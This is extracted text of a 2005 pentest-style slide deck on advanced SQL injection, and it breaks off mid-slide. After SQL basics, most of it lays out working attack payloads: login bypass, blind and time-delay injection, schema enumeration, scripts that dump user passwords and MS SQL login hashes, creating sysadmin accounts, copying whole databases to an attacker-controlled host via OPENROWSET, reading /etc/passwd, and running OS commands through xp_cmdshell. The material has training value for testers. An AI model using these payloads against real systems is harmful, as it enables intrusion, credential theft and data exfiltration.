SQL注入高级进阶

nullAdvanced SQL InjectionAdvanced SQL InjectionVictor Chapela Sm4rt Security Services victor@sm4rt.com4/11/2005What is SQL?*What is SQL?SQL stands for Structured Query Language Allows us to access a database ANSI and ISO standard computer language The most current standard is SQL99 SQL can: execute queries against a database retrieve data from a database insert new records in a database delete records from a database update records in a databaseSQL is a Standard - but...*SQL is a Standard - but...There are many different versions of the SQL language They support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others). Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard!SQL Database Tables*SQL Database TablesA relational database contains one or more tables identified each by a name Tables contain records (rows) with data For example, the following table is called "users" and contains data distributed in rows and columns: SQL Queries*SQL QueriesWith SQL, we can query a database and have a result set returned Using the previous table, a query like this: SELECT LastName FROM users WHERE UserID = 1; Gives a result set like this: LastName -------------- SmithSQL Data Manipulation Language (DML)*SQL Data Manipulation Language (DML)SQL includes a syntax to update, insert, and delete records: SELECT - extracts data UPDATE - updates data INSERT INTO - inserts new data DELETE - deletes dataSQL Data Definition Language (DDL)*SQL Data Definition Language (DDL)The Data Definition Language (DDL) part of SQL permits: Database tables to be created or deleted Define indexes (keys) Specify links between tables Impose constraints between database tables Some of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - alters (changes) a database table DROP TABLE - deletes a database tableMetadata*MetadataAlmost all SQL databases are based on the RDBM (Relational Database Model) One important fact for SQL Injection Amongst Codd's 12 rules for a Truly Relational Database System: Metadata (data about the database) must be stored in the database just as regular data is Therefore, database structure can also be read and altered with SQL queries What is SQL Injection?*What is SQL Injection? The ability to inject SQL commands into the database engine through an existing applicationHow common is it?*How common is it?It is probably the most common Website vulnerability today! It is a flaw in "web application" development, it is not a DB or web server problem Most programmers are still not aware of this problem A lot of the tutorials & demo “templates” are vulnerable Even worse, a lot of solutions posted on the Internet are not good enough In our pen tests over 60% of our clients turn out to be vulnerable to SQL InjectionVulnerable Applications*Vulnerable ApplicationsAlmost all SQL databases and programming languages are potentially vulnerable MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed using: Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many moreHow does SQL Injection work?*How does SQL Injection work?Common vulnerable login query SELECT * FROM users WHERE login = 'victor' AND password = '123' (If it returns something then login!) ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; Injecting through Strings*Injecting through Stringsformusr = ' or 1=1 – – formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'The power of '*The power of 'It closes the string parameter Everything after is considered part of the SQL command Misleading Internet suggestions include: Escape it! : replace ' with ' ' String fields are very common but there are other types of fields: Numeric DatesIf it were numeric?*If it were numeric?SELECT * FROM clients WHERE account = 12345678 AND pin = 1111 PHP/MySQL login syntax $sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin"; Injecting Numeric Fields*Injecting Numeric Fields$formacct = 1 or 1=1 # $formpin = 1111 Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111SQL Injection Characters*SQL Injection Characters' or " character String Indicators -- or # single-line comment /*…*/ multiple-line comment + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator ?Param1=foo&Param2=bar URL Parameters PRINT useful as non transactional command @variable local variable @@variable global variable waitfor delay '0:0:10' time delayMethodologyMethodologySQL Injection Testing Methodology*SQL Injection Testing Methodology1) Input Validation1) Input Validation*1) Input Validation2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input ValidationDiscovery of Vulnerabilities*Discovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entry points: Fields in web forms Script parameters in URL query strings Values stored in cookies or hidden fields By "fuzzing" we insert into every one: Character sequence: ' " ) # || + > SQL reserved words with white space delimiters %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc) Delay query ' waitfor delay '0:0:10'--2) Information Gathering *2) Information Gathering 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input Validation2) Information Gathering*2) Information GatheringWe will try to find out the following: Output mechanism Understand the query Determine database type Find out user privilege level Determine OS interaction levela) Exploring Output Mechanisms*a) Exploring Output MechanismsUsing query result sets in the web application Error Messages Craft SQL queries that generate specific types of error messages with valuable info in them Blind SQL Injection Use time delays or error signatures to determine extract information Almost the same things can be done but Blind Injection is much slower and more difficult Other mechanisms e-mail, SMB, FTP, TFTPExtracting information through Error Messages*Extracting information through Error MessagesGrouping Error ' group by columnnames having 1=1 - - Type Mismatch ' union select 1,1,'text',1,1,1 - - ' union select 1,1, bigint,1,1,1 - - Where 'text' or bigint are being united into an int column In DBs that allow subqueries, a better way is: ' and 1 in (select 'text' ) - - In some cases we may need to CAST or CONVERT our data to generate the error messagesBlind Injection*Blind InjectionWe can use different known outcomes ' and condition and '1'='1 Or we can use if statements '; if condition waitfor delay '0:0:5' -- '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1; Additionally, we can run all types of queries but with no debugging information! We get yes/no responses only We can extract ASCII a bit at a time... Very noisy and time consuming but possible with automated tools like SQueaLb) Understanding the Query*b) Understanding the QueryThe query can be: SELECT UPDATE EXEC INSERT Or something more complex Context helps What is the form or page trying to do with our input? What is the name of the field, cookie or parameter?SELECT Statement*SELECT StatementMost injections will land in the middle of a SELECT statement In a SELECT clause we almost always end up in the WHERE section: SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY xUPDATE statement*UPDATE statementIn a change your password section of an app we may find the following UPDATE users SET password = 'new password' WHERE login = logged.user AND password = 'old password' If you inject in new password and comment the rest, you end up changing every password in the table!Determining a SELECT Query Structure*Determining a SELECT Query StructureTry to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1' = '2 Generate specific errors Determine table and column names ' group by columnnames having 1=1 -- Do we need parenthesis? Is it a subquery?Is it a stored procedure?*Is it a stored procedure?We use different injections to determine what we can or cannot do ,@variable ?Param1=foo&Param2=bar PRINT PRINT @@variableTricky Queries*Tricky QueriesWhen we are in a part of a subquery or begin - end statement We will need to use parenthesis to get out Some functionality is not available in subqueries (for example group by, having and further subqueries) In some occasions we will need to add an END When several queries use the input We may end up creating different errors in different queries, it gets confusing! An error generated in the query we are interrupting may stop execution of our batch queries Some queries are simply not escapable!c) Determine Database Engine Type*c) Determine Database Engine TypeMost times the error messages will let us know what DB engine we are working with ODBC errors will display database type as part of the driver information If we have no ODBC error messages: We make an educated guess based on the Operating System and Web Server Or we use DB-specific characters, commands or stored procedures that will generate different error messagesSome differences*Some differencesMore differences…*More differences…d) Finding out user privilege level*d) Finding out user privilege levelThere are several SQL99 built-in scalar functions that will work in most SQL implementations: user or current_user session_user system_user ' and 1 in (select user ) -- '; if user ='dbo' waitfor delay '0:0:5 '-- ' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );DB Administrators*DB AdministratorsDefault administrator accounts include: sa, system, sys, dba, admin, root and many others In MS SQL they map into dbo: The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo. Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.3) 1=1 Attacks *3) 1=1 Attacks 1) Input Validation5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence2) Info. Gathering 3) 1=1 Attacks Discover DB structure*Discover DB structureDetermine table and column names ' group by columnnames having 1=1 -- Discover column name types ' union select sum(columnname ) from tablename -- Enumerate user defined tables ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --Enumerating table columns in different DBs*Enumerating table columns in different DBsMS SQL SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ') sp_columns tablename (this stored procedure can be used instead) MySQL show columns from tablename Oracle SELECT * FROM all_tab_columns WHERE table_name='tablename ' DB2 SELECT * FROM syscat.columns WHERE tabname= 'tablename ' Postgres SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename ' AND pg_class.oid=attrelid AND attnum > 0All tables and columns in one query*All tables and columns in one query' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --Database Enumeration*Database EnumerationIn MS SQL Server, the databases can be queried with master..sysdatabases Different databases in Server ' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) -- File location of databases ' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --System Tables*System TablesOracle SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOG MySQL mysql.user mysql.host mysql.dbMS Access MsysACEs MsysObjects MsysQueries MsysRelationships MS SQL Server sysobjects syscolumns systypes sysdatabases4) Extracting Data*4) Extracting Data4) Extracting Data1) Input Validation5) OS Interaction 6) OS Cmd Prompt7) Expand Influence2) Info. Gathering 3) 1=1 Attacks Password grabbing*Password grabbingGrabbing username and passwords from a User Defined table '; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' ' from users where login>@var select @var as var into temp end -- ' and 1 in (select var from temp) -- ' ; drop table temp --Create DB Accounts*Create DB AccountsMS SQL exec sp_addlogin 'victor', 'Pass123' exec sp_addsrvrolemember 'victor', 'sysadmin' MySQL INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123')) Access CREATE USER victor IDENTIFIED BY 'Pass123' Postgres (requires UNIX account) CREATE USER victor WITH PASSWORD 'Pass123' Oracle CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor;Grabbing MS SQL Server Hashes*Grabbing MS SQL Server HashesAn easy query: SELECT name, password FROM sysxlogins But, hashes are varbinary To display them correctly through an error message we need to Hex them And then concatenate all We can only fit 70 name/password pairs in a varchar We can only see 1 complete pair at a time Password field requires dbo access With lower privileges we can still recover user names and brute force the passwordWhat do we do?*What do we do?The hashes are extracted using SELECT password FROM master..sysxlogins We then hex each hash begin @charvalue='0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) BEGIN declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 END And then we just cycle through all passwords Extracting SQL Hashes*Extracting SQL HashesIt is a long statement '; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --Extract hashes through error messages*Extract hashes through error messages' and 1 in (select x from temp) -- ' and 1 in (select substring (x, 256, 256) from temp) -- ' and 1 in (select substring (x, 512, 256) from temp) -- etc… ' drop table temp -- Brute forcing Passwords*Brute forcing PasswordsPasswords can be brute forced by using the attacked server to do the processing SQL Crack Script create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords Transfer DB structure and data*Transfer DB structure and dataOnce network connectivity has been tested SQL Server can be linked back to the attacker's DB by using OPENROWSET DB Structure is replicated Data is transferred It can all be done by connecting to a remote port 80!Create Identical DB Structure*Create Identical DB Structure'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns --Transfer DB*Transfer DB'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table2') select * from database..table2 --5) OS Interaction *5) OS Interaction 5) OS Interaction 6) OS Cmd Prompt7) Expand Influence1) Input Validation2) Info. Gathering 3) 1=1 Attacks 4) Extracting DataInteracting with the OS*Interacting with the OSTwo ways to interact with the OS: Reading and writing system files from disk Find passwords and configuration files Change passwords and configuration Execute commands by overwriting initialization or configuration files Direct command execution We can do anything Both are restricted by the database's running privileges and permissionsMySQL OS Interaction*MySQL OS InteractionMySQL LOAD_FILE ' union select 1,load_file('/etc/passwd'),1,1,1; LOAD DATA INFILE create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp; SELECT INTO OUTFILEMS SQL OS Interaction*MS SQL OS InteractionMS SQL Server '; exec master..xp_cmdshell 'ipconfig > test.txt' -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end -- ' and 1 in (select substring(x,1,256) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --Architecture*ArchitectureTo keep in mind always! Our injection most times will be executed on a different server The DB server may not even have Internet accessAssessing Network Connectivity*Assessing Network ConnectivityServer name and configuration ' and 1 in (select @@servername ) -- ' and 1 in (select srvname from master..sysservers ) -- NetBIOS, ARP, Local Open Ports, Trace route? Reverse connections nslookup, ping ftp, tftp, smb We have to test for firewall and proxiesGathering IP information through reverse lookups*Gathering IP information through r